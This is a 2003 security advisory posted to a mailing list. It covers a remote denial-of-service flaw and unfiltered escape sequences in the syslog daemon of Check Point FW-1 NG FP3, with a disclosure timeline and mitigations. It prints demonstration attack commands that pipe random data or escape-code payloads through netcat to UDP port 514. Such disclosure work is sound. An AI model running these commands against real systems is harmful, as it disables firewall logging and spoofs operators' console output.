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Check Point FW-1 NG FP3 & FP3 HF1: DoS attack against syslog daemon possible
From: "Dr. Peter Bieringer" <pbieringer () aerasec de>
Date: Fri, 21 Mar 2003 13:46:45 +0100

Hi all,

interesting for all Check Point FW-1 NG users which have enabled the since
FP3 included syslog daemon.



(P) & (C) 2003 AERAsec Network Services and Security GmbH


Contact: info at aerasec dot de

* Successful DoS from remote against syslog daemon of Check Point FW-1 NG
   (also FP3 HF1), perhaps remote root exploit possible.
* Syslog message containing escape sequences directed to syslog daemon of 
   Check Point FW-1 NG FP3 (including HF1 and HF2) remain unfiltered and
   cause strange output behaviour if the log is viewed on console.

2003-01-17: syslog crash issue detected by Dr. Peter Bieringer of AERAsec
             while testing the new introduced syslog daemon feature in FP3
2003-01-17: create first internal summary
2003-01-17: information about the crash sent to vendor by e-mail
2003-01-20: extend summary to a full advisory
2003-01-23: inofficial confirmation that information was received by vendor
2003-01-24: official answer which confirms this issue
2003-01-28: cosmetic review of advisory
2003-02-28: detect problem with unfiltered console codes, notify vendor by
             e-mail (no response about that problem until now)
2003-03-14: add information about unfiltered console codes, review for
2003-03-17: pre-final review
2003-03-20: Check Point posted an alert
2003-03-21: final review and official announcement

Note: the 2 month delay between notifying vendor and public release of this
advisory was caused by an accepted request of the vendor for a delay to
breaking its already running QA cycle for HF2.

Further information:

Check Point VPN-1/FW-1 NG FP3 contains a syslog daemon (default: off) to
redirect incoming syslog messages from remote (e.g. routers) to Check
SmartTracker logging mechanism.
This syslog daemon can be crashed from remote and it will not start again
Neither a watchdog service is detecting the crash nor an entry in the
SmartView Tracker about a no longer available syslog daemon appears.

Additionally it will print all chars received in a syslog message from
without any modifications. This means, escape sequences are not filtered or
e.g. expanded to their octal values in ASCII.

1. Vulnerability: Successful DoS from remote against syslog daemon of
                   Check Point FW-1 NG FP3 (also FP3 HF1),
                   perhaps remote root exploit possible.

Tested version and platform:
Check Point FW-1 NG FP3 (with or without HF1) on Red Hat Linux 7.3
 running kernel 2.4.9-34

md5sum of binary
[firewall]# md5sum /opt/CPfw1-50-03/bin/syslog
4eba3458cb05ed30dec6a75a17b0925a  /opt/CPfw1-50-03/bin/syslog

Contained in:
[firewall]# rpm -qf /opt/CPfw1-50-03/bin/syslog

With buildtime:
[firewall]# rpm -q --queryformat "%{buildtime}\n" CPfw1
1032421147   (Thu 19 Sep 2002 09:39:07 AM MEST)

Note: FP3-HF1 doesn't update this binary.

Instruction how to crash the syslog daemon of Check Point FW-1 NG FP3:

Start syslog daemon by enabling in the firewall object
 (and run cpstop/cpstart afterwards) or by hand executing:

[firewall]# /opt/CPfw1-50-03/bin/syslog 514 all
Shutting down kernel logger:                               [  OK  ]
Shutting down system logger:                               [  OK  ]
Starting system logger:                                    [  OK  ]
Starting kernel logger:                                    [  OK  ]
Segmentation fault <- caused after receiving random syslog payload, see

Check for listening syslog daemon:
[firewall]# netstat -lnptu |grep -w 514
udp     0    0*    $pid/syslog

Note also that this daemon is running as "root":
# ps -ux | grep -w syslog
root      $pid  0.0  6.8 148064 8612 ?       S    12:17   0:00 syslog 514

Send a valid syslog message from a remote host (here also a Linux system):
[evilhost]# echo  "<189>19: 00:01:04: Test" | nc -u firewall 514

Send random payload via syslog message from a remote host:
[evilhost]# cat /dev/urandom | nc -u firewall 514

The previous started syslog daemon should crash after short time, use
 "netstat" to see whether a daemon is still listening on UDP port 514

Note: for a clean restart of Check Point's syslog daemon the firewall
needs to be restarted.

Solutions to prevent the successful DoS attack against syslog service:

- Upgrade to FP3 HF2 as soon as possible, see 
   http://www.checkpoint.com/techsupport/ng/fp3_hotfix.html for more
   information (available since 14 March 2003).

- Customize your ruleset and accept syslog messages only from dedicated (and
   trusted, see below) senders by the enforcement module

2. Vulnerability: Syslog messages containing escape sequences directed to
                   syslog daemon of Check Point FW-1 NG FP3
                   (including HF1 and Hf2) remain unfiltered and
                   can cause strange output behaviour if log is viewed on

Tested version and platform:
Check Point FW-1 NG FP3 (also with HF1 or HF2) on Red Hat Linux 7.3
 running kernel 2.4.9-34

Syslog message from network is not checked against non-printable characters,
 therefore if log is viewed on console, you can no longer trust the visual
 output at all.

Instructions for demonstration:

Enable receiving of syslog from remote by FW-1 like e.g. described above.

View log on console by running following command:
[firewall]# fw lot -nfnl

Send some special escape sequences via syslog, e.g.
[evilhost]# echo -e "<189>19: 00:01:04:
ATTACK\033[2;25m\033[22;30m\033[3q" | nc -u firewall 514

Take a look at the console again, but don't be scared too much for now...
Press CTRL-C and reset the console to standard by executing:
[firewall]# reset

Attackers might send a lot of "special" escape sequences, for Linux as
destination see "man console_codes" for more.

Note: standard syslog daemon on a RHL 7.3 system treats code like this as
shown here:
Mar 14 13:29:30 linuxbox 19: 00:01:04: Test^G^[[2J^[[2;5m^[[1;31mHACKER

Solutions to prevent unfiltered console output:

- Filter log output by using "tr" like:
[firewall]# fw log -tfnl | tr '\000-\011\013-\037\200-\377' '*'
(all chars with ASCII codes from  from decimal 0-31 and 128-255 except 10
 LF are replaced by a '*')

- Update Check Point's syslog daemon to newer version once again, when

- Improve ruleset like suggested above.


Dr. Peter Bieringer                        Phone: +49-8102-895190
AERAsec Network Services and Security GmbH   Fax: +49-8102-895199
Wagenberger Stra├če 1                      Mobile: +49-174-9015046
D-85662 Hohenbrunn                   mailto:pbieringer () aerasec de
Germany                           Internet: http://www.aerasec.de
PGP/GPG:  http://www.aerasec.de/wir/publickeys/PeterBieringer.asc

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